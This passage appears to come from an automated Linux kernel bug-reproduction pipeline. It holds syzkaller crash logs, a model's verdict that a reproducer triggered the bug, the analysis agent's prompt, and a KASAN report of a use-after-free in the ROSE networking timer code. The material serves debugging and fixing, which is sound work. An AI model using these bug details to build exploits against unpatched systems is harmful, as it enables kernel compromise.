[  116.749348][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  116.758207][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  116.761710][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  116.766031][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  116.770451][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  116.773976][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  116.777027][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  116.781342][    C0]  ? do_idle+0x36a/0x5f0
[  116.783867][    C0]  default_idle+0x9/0x20
[  116.786239][    C0]  default_idle_call+0x72/0xb0
[  116.788857][    C0]  do_idle+0x36a/0x5f0
[  116.791260][    C0]  ? __pfx_do_idle+0x10/0x10
[  116.793412][    C0]  cpu_startup_entry+0x43/0x60
[  116.795776][    C0]  rest_init+0x2de/0x300
[  116.798234][    C0]  start_kernel+0x385/0x3d0
[  116.800992][    C0]  x86_64_start_reservations+0x24/0x30
[  116.804151][    C0]  x86_64_start_kernel+0x143/0x1c0
[  116.807090][    C0]  common_startup_64+0x13e/0x147
[  116.810064][    C0]  </TASK>
[  116.811856][    C0] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  116.816329][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.821097][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.826032][    C0] Call Trace:
[  116.827965][    C0]  <IRQ>
[  116.829611][    C0]  vpanic+0x56c/0xa60
[  116.831921][    C0]  ? __pfx__printk+0x10/0x10
[  116.834531][    C0]  ? __pfx_vpanic+0x10/0x10
[  116.837279][    C0]  ? is_bpf_text_address+0x292/0x2b0
[  116.840287][    C0]  ? is_bpf_text_address+0x26/0x2b0
[  116.843354][    C0]  panic+0xc5/0xd0
[  116.844817][    C0]  ? __pfx_panic+0x10/0x10
[  116.847375][    C0]  ? common_startup_64+0x13e/0x147
[  116.850526][    C0]  __warn+0x315/0x4f0
[  116.852959][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.856389][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.859431][    C0]  __report_bug+0x29a/0x540
[  116.861854][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.864642][    C0]  ? __pfx___report_bug+0x10/0x10
[  116.867424][    C0]  ? add_lock_to_list+0xc7/0x100
[  116.870222][    C0]  report_bug_entry+0x19a/0x290
[  116.872887][    C0]  ? debug_check_no_obj_freed+0x44a/0x550
[  116.874987][    C0]  ? debug_check_no_obj_freed+0x44f/0x550
[  116.878332][    C0]  handle_bug+0xce/0x200
[  116.880841][    C0]  exc_invalid_op+0x1a/0x50
[  116.883619][    C0]  asm_exc_invalid_op+0x1a/0x20
[  116.886678][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.890365][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.900530][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.905253][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.909454][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.913370][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.916791][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.921195][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.925711][    C0]  ? __pfx_timer_debug_hint+0x10/0x10
[  116.928798][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.931211][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.934524][    C0]  kfree+0x13a/0x630
[  116.936813][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.939757][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.942600][    C0]  call_timer_fn+0x192/0x640
[  116.944270][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.947246][    C0]  ? call_timer_fn+0xd4/0x640
[  116.949586][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.952515][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.954266][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.956475][    C0]  __run_timer_base+0x652/0x8b0
[  116.959355][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.962064][    C0]  ? clockevents_program_event+0x247/0x350
[  116.965403][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.968419][    C0]  run_timer_softirq+0xb7/0x170
[  116.970139][    C0]  handle_softirqs+0x22a/0x870
[  116.973055][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.975990][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.978341][    C0]  irq_exit_rcu+0x9/0x30
[  116.979855][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.982948][    C0]  </IRQ>
[  116.984641][    C0]  <TASK>
[  116.986342][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.989694][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.994672][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  117.004667][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  117.008110][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  117.012603][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  117.015446][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  117.018188][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  117.022952][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  117.027693][    C0]  ? do_idle+0x36a/0x5f0
[  117.030410][    C0]  default_idle+0x9/0x20
[  117.033538][    C0]  default_idle_call+0x72/0xb0
[  117.035326][    C0]  do_idle+0x36a/0x5f0
[  117.036814][    C0]  ? __pfx_do_idle+0x10/0x10
[  117.039394][    C0]  cpu_startup_entry+0x43/0x60
[  117.042103][    C0]  rest_init+0x2de/0x300
[  117.044724][    C0]  start_kernel+0x385/0x3d0
[  117.046506][    C0]  x86_64_start_reservations+0x24/0x30
[  117.049683][    C0]  x86_64_start_kernel+0x143/0x1c0
[  117.052609][    C0]  common_startup_64+0x13e/0x147
[  117.055261][    C0]  </TASK>
[  117.061086][    C0] Kernel Offset: disabled
[  117.063843][    C0] Rebooting in 86400 seconds..
 TruncatedCrashReport:------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
 TruncatedStraceOutput:]

gemini-3.1-pro-preview

map[Feedback:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. TitleMatches:true]

You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.

Critical Diagnostic Rule:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.

The input variable 'IsProbe' indicates whether the executed program was a simple environment
probe (true) or a full reproducer candidate (false).
Use this to guide your classification and feedback:

1. If 'IsProbe' is true:
   - If the execution was successful (all environment/subsystem probes passed), provide feedback
     explicitly indicating that the environment is ready and the agent should now proceed to
     generate the full reproducer in the next iteration.
   - If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
     explain what failed so the generator can adjust its environment setups.

2. If 'IsProbe' is false:
   - If a crash was triggered (Reproduced is true):
     - Determine if the triggered crash matches the expected bug.
     - If you conclude they represent the same underlying bug (the same root cause)
       despite different titles, crash signatures, or call traces, set TitleMatches
       to true and provide a detailed, technical, and verbose explanation of the
       equivalence in the 'Feedback' field.
     - If they do not represent the same bug (a completely unrelated crash/collision),
        set TitleMatches to false and explain the collision in 'Feedback'.
     - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
   - If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
     - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
       to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
       and provide feedback on how to improve the reproducer logic to trigger the crash.

If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
